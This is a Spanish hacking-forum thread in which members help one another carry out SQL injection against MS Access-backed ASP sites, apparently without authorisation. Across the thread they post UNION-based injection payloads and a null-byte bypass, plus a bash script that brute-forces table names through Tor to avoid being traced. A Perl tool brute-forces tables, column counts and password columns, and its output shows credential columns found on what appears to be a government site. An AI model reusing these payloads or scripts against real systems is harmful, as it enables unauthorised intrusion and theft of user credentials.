dudas/problemas sql injection ms-access

Iniciado por kamsky, 14 Septiembre 2009, 17:54 PM

0 Miembros y 1 Visitante están viendo este tema.

kamsky

Buenas!

Bueno, siempre he tenido "apartado" el tema de sql injection (por pereza :p) dándole prioridad a otras cosas, pero bueno, creo que ya es hora de ponerme...

asi que últimamente he estado leyendo bastante y tal, y haciendo pruebas por ahí...

bueno, el problema me ha surgido, al encontrarme un sitio que es vulnerable, y que usa MSSQL, pero que no soy capaz de avanzar nada... :S

veamos, digamos que la página vulnerable es esta:
www.pagina.es/torneo.asp?torneo=09090601

dado que si inserto una simple comilla, me tira esto:
www.pagina.es/torneo.asp?torneo=09090601'

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error in query epresionje 'cdgo_torneo LIKE '09090601'%''.

/torneo.asp, line 54


de ahí deduzco que es vulnerable, y que la sentencia SQL debe ser algo como...
Citarselect ... from ... where cdgo_torneo LIKE 'numerito%' ...

donde el % significa que 0 o más caracteres a continuación del id_torneo, hasta aquí bien...

intento algo como:
www.pagina.es/torneo.asp?torneo=09090601'%20having%201=1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error in query epresionje '1=1--%''.

/torneo.asp, line 54


por lo que parece que el having se lo pasa por el forro...
intento meter algún paréntesis por si en el Where lo hubiera o algo...:
www.pagina.es/torneo.asp?torneo=09090601')%20having%201=1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Extra ) in query epresionje 'cdgo_torneo LIKE '09090601')'.

/torneo.asp, line 54


he probado con comillas dobles, con puntos y coma en vez del doble guión...y no llego a nada en claro :S

lo "máximo" que he conseguido es sacar otro tipo de error (con ; en vez de --) a parte de los 2 que puse antes:
www.pagina.es/torneo.asp?torneo=09090601'%20having%201=1;
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Characters found after end of SQL statement.

/torneo.asp, line 54



alguna sugerencia/idea/recomendación ??¿¿ :huh:

gracias y salu2 a todos
----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!

MagnoBalt

Hola kamsky, esa web que estas inyectando tiene un MS-ACCESS, por lo cual con la clausula Having no vas a poder inyectar nada, ya que esa tecnica se usa para los SQL Server. De todos modos intentadolo con UNION.
Por ejemplo:
1) Intentar brutear una posible tabla. de esta forma

www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1 from usuarios
Si la tabla usuarios no existe te arrojara un error algo similar a esto

The Microsoft Jet database engine cannot find the input table or query 'usuarios'. Make sure it exists and that its name is spelled correctly.

Ahora entonces intenta con otra tabla hasta que te tire un error de que la cantidad de columnas para UNION no conincide.. Seria algo asi

The number of columns in the two selected tables or queries of a union query do not match.



2) Ahora tenes que encontrar la cantidad de columnas

www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2  from usuarios
www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,3  from usuarios
.
.

www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,3,.....,n  from usuarios

Hasta que no haya error y puedas ver algunos numeros q colocaste de constantes en la busqueda de columnas

3) Y ahora solo queda brutear las posibles Columnas de la tabla encontrada

www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,pass,....,n  from usuarios

Donde pass es la columna, si exisitiera podras ver el valor que contiene pass.. Y asi intentar con otra columnas hasta encontrar

www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,password,....,n  from usuarios
.
.
ETC


Espero averte ayudado asi es como yo inyhecto en ACCESS. Si alguien conoce otra forma, que la muestre

Saludos

kamsky

#2
vale, voy a intentar con Union, pero he hecho unas cuantas pruebas, y el asunto está en que no se como colocar la dichosa comita:'  para que no me tire error...
al igual que antes con el having, he probado con: ', ", ), ; , -- , ...

pero nada, lo ponga como lo ponga, error de sintaxis o similares...

:huh:

lo que creo que me está dando problemas es el maldito: %

CitarSyntax error in query expression 'cdgo_torneo LIKE '' OR 1=1%''.

en este caso de arriba, inserté una comilla simple, y el OR 1=1, pero siempre aparece el %...y por más que busco no encuentro algo tipo: -- , que sirva para comentar el resto... y si pongo un punto y coma después de lo que inyecto, da error, porque dice que hay caracteres después de la sentencia sql..probé a poner el null byte despues del punto y coma, pero ni así...

:huh:
----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!

kamsky

parece que finalmente con el %00 (null byte), si que "funciona", pero no me da el error que comentas, si no otro...:

Citartorneo.asp?torneo='+UNION+SELECT+TOP 1+1+from+usuarios
[Microsoft][ODBC Microsoft Access Driver] Syntax error in FROM clause.

torneo.asp?torneo=' UNION SELECT 1,1,1 FROM usuarios
[Microsoft][ODBC Microsoft Access Driver] Syntax error in FROM clause.

no se si ese error es porque la tabla no existe, o simplemente porque como pone , hay un error de sintaxis...si fuera este último caso... que hay mal!!???
----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!

tomrian

#4
La manera de lidiar en estos casos es utilizar el resto de la sentencia como parte de tu inyeccion, en este caso en Access un SELECT debe si o si contener una tabla, busca una tabla por adivinación y luego cuando inyectas pones una condición que incluya la %.
Te tiro un ejemplo:
' UNION SELECT TOP 1 1,2,3,4 from tabla_que_encontraste where '1' LIKE '1

-Aah y por cierto, aca te dejo algunas páginas que hablan de este tipo de inyecciones:
http://www.xuexi123.net/chm/MS%20Access%20SQL%20Injection%20Cheat%20Sheet.htm
http://seclists.org/pen-test/2003/May/0074.html

kamsky

ouuuuuuuu yeah! ;)

parece que ya voy por el buen camino, gracias!!!

por cierto, justo habia encontrado la "chuleta" para ms-access!

p.d.: es un poco "peñazo" lo de tener que "adivinar" las tablas o aplicarle brute-force, pero es lo que toca!!

gracias de nuevo
----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!

kamsky

#6
bueno, me he hecho un mini-script en bash, porque es un toston andar palabra por palabra a ver si suena la flauta :P, asi que lo he automatizado un poco

el script pide la url donde se quiere inyectar (incluyendo variable, con el =, pero sin valor), un diccionario a usar para el bruteforce, un archivo de salida donde mostrar los resultados, y opcionalmente un trozo de sentencia sql para validar la sentencia completa (vamos, lo que me puso tomrian en su post!:
CitarLa manera de lidiar en estos casos es utilizar el resto de la sentencia como parte de tu inyeccion, en este caso en Access un SELECT debe si o si contener una tabla, busca una tabla por adivinación y luego cuando inyectas pones una condición que incluya la %.
)

Y a continuación, pues básicamente se dedica a inyectar, y a recoger los "errores" tirados por la inyección en el fichero de log

Por cierto, está programado para que use algún server socks (en mi caso Tor), para anonimizar nuestra consulta, ya que es bastante canteosa... :p

no es nada eficiente, asi que esta un buennnnnnn rato, pero a mi por lo menos me ha funcionado

os pego el code, si alguien le apetece mejorarlo (ya que empeorarlo creo que es imposible :p), tiene total libertad, pero si lo haceis, me gustaría que me avisarais (más que nada para la próxima vez tener alguna herramienta decente y no esta basurilla :P)

#!/bin/bash

# Mini MS-Access Table Name Brute Forcing
# Kamsky a.k.a Adonis

CURL=`whereis curl | awk {'print $2'}`

  echo -e "\n\n*****************************************************"
  echo -e "* MS-ACCESS SQL Injection - Table Name bruteforcing *"
  echo -e "*****************************************************\n\n"

if [ $# -lt 3 ]; then
 
  echo -e "\nFormato: $0 URL(variable a inyectar) diccionario archivo_salida [sql_relleno_validar]\n"
  echo -e "Ej: $0 www.host_victima.com/posts.asp?id= dicc.txt  where+'1'+LIKE+'1\n"
  exit 1
    fi

   
  echo -e "Inyectando...\n"


while read linea ; do
if [ $# -eq 4 ]; then
    INJECTION="$1'+UNION+SELECT+1+FROM+$linea+$4+%00"
else
    INJECTION="$1'+UNION+SELECT+1+FROM+$linea+%00"
fi
    echo -e "\n\n- Inyeccion: $INJECTION\n" >> salida_inj
    $CURL -s "$INJECTION" --socks4 127.0.0.1:9050 | grep ODBC >> $3

   done <<< "`cat $2`"


  echo -e "Fin Inyección\n"


salu2
----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!

tomrian

Te funciona ? No tengo ahora tiempo para probarlo :P

MagnoBalt

Hola bro si con el Null byte es para anular la inyeccion me olvide de comentarte.. eso. Y habia hecho uno tambien para encontrar las tablas en perl pero esta maso no mas le faltaba mucho mas cosas y deje a media. Pero para la pagina que estaba auditando me resulto perfecto...

Access Injection SQL

Código (perl) [Seleccionar]
#!/usr/bin/perl
use IO::Socket;
$ban=0;
@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario','accesos',
  'name','names','nombre','nombres','member','members','admin_table',
  'miembro','miembros','membername','admins','administrator','sign',
  'administrators','passwd','password','passwords','pass','Pass',
  'tAdmin','tadmin','user_password','usuarios','user_passwords','user_name','user_names',
  'member_password','mods','mod','moderators','moderator','user_email',
  'user_emails','user_mail','user_mails','mail','emails','email','address',
  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  'sistema_usuario','sistema_password','contrase�a','auth','key','senha','signin',
  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','club_authors',
      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup',
      'associated','accnt','customers','customer','membres','administrateur','utilisateur',
      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users',
      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
@nombrecolumna=('emailAdmin',
  'passAdmin','clave','admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
          'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author','user_login',
          'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
          'user_pwd','u_pass','clave','usuario','nom_usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username','senha','MEMBER','Clave_de_acceso','passwordAdmin','nameAdmin','loginAdmin','emailAdmin',
  'passAdmin','IdAdmin' ,'nameAdmin' ,'emailAdmin','passswordAdmin');


sub socket{
    my $inyec= shift;
$socket = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 'http(80)',
Proto => 'tcp') || die "[-] No se ha podido conectar a $host";
print $socket "GET " .$path.$inyec.$tabla. " HTTP/1.0\r\n";
print $socket "HOST:$host\r\n";
print $socket "\n\n";
if ($ban ==1){
print "------------------------$tabla---------------------------------------\n";}
return $socket;
  }

if (!@ARGV[1]) {
      print "======================================================= \n";
      print " Injection AIS V 1.0 beta by MagnoBalt \n\n";
      print " use perl $0 www.pagina.com.ar /noticia.php?id=\n\n";
  print " AIS:Acces Injection SQL \n";
      print "======================================================= \n";
      exit(0);
      }
$host =$ARGV[0];
$path=$ARGV[1];
print "\n[-]Buscando Tablas \n";
$iny="-1+UNION+SELECT+0+FROM+";
#print "antes de la funcion valor $iny\n";
foreach $tabla(@nombretabla) {
  chomp($tabla);   
  #empuezo a guardar linea por linea el source en $response
  $socket=&socket($iny);
  while (<$socket>) {$response .= "$_ "}
  if($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#243;n no coincide/)
{
print "[+]Tabla $tabla FOUND\n";
$tabla_aux=$tabla;
    }
#print $response;
$response="";#limpio la variable
}#cierrre foreach
#buscamos numeros de columnas
print "[-]Buscando numeros de columnas\n";
print "[-]Ingrese Maximo con cual intentar \n";
$col.=<STDIN>;
chomp($col);
print "[-]Buscando..\n";
$columna=1;
while ($columna <= $col) {
$union.=','.$columna;
$iny="-1+UNION+SELECT+0".$union."+FROM+".$tabla_aux;
$socket=&socket($iny);
while (<$socket>) { $response .= "$_ "}
#print $response; 
if ($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#243;n no coincide/)
{
print "[!] Fallo intento columna $columna\n";
}
else {
$col_aux=$columna;
$columna++;
print "[+]La Web Posee $columna columnas\n ";
print "$ARGV[0]$ARGV[1]$iny\n";
$columna = $col;#fuerzo la salida del while.
}
$response="";#limpio la variable
$columna++;
}
#Bruteando las columnas
print "[-]Bruteando las columnas\n";
print "[-]Ingrese Tabla a la cual brutear:\n";
$tabla_aux="";
$tabla_aux.=<STDIN>;
chomp($tabla_aux);
$i=1;

while($i <= ($col_aux-1)) {#obtengo columnas menos una
    $cant.=','.$i;
     $i++;
      }
foreach $column(@nombrecolumna){
   chomp($column);
   $iny="-1+UNION+SELECT+0".$cant.",".$column."+FROM+".$tabla_aux;
   $socket=&socket($iny);
while (<$socket>) { $response .= "$_ "}
  if ($response=~/No value given for one or more required parameters/ || $response=~/80040e10/) {
    }
  else{
    print "[+] Columna $column encontrada\n";
      }
$response="";
  }





close $socket;
exit(0);




Citar[-]Buscando Tablas
  • Tabla accesos FOUND
    [-]Buscando numeros de columnas
    [-]Ingrese Maximo con cual intentar
    15
    [-]Buscando..
    [!] Fallo intento columna 1
    [!] Fallo intento columna 2
    [!] Fallo intento columna 3
    [!] Fallo intento columna 4
  • La Web Posee 6 columnas
    www.xxxxxxxxxxxxx.gob/path/NoticiaVer.asp?id=-1+UNION+SELECT+0,1,2,3,4,5+FROM+accesos
    [-]Bruteando las columnas
    [-]Ingrese Tabla a la cual brutear:
    accesos
  • Columna authorization encontrada
  • Columna email encontrada
  • Columna nombre encontrada
  • Columna pwd encontrada
  • Columna usuario encontrada
  • Columna passwordAdmin encontrada

kamsky

la verdad que tu script está más completo, pero es que yo estuve... 5 minutos??:P

lo que creo que tiene bueno el mio, es el uso de socks para anonimizar la inyección como ya dije
y quizás también, que al tirar de diccionario, hay más probabilidades de encontrar la tabla correcta, pero también hace que sea mas lentoooooooo :o

@ tomrian: si si, funciona, te lo aseguro :p
----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!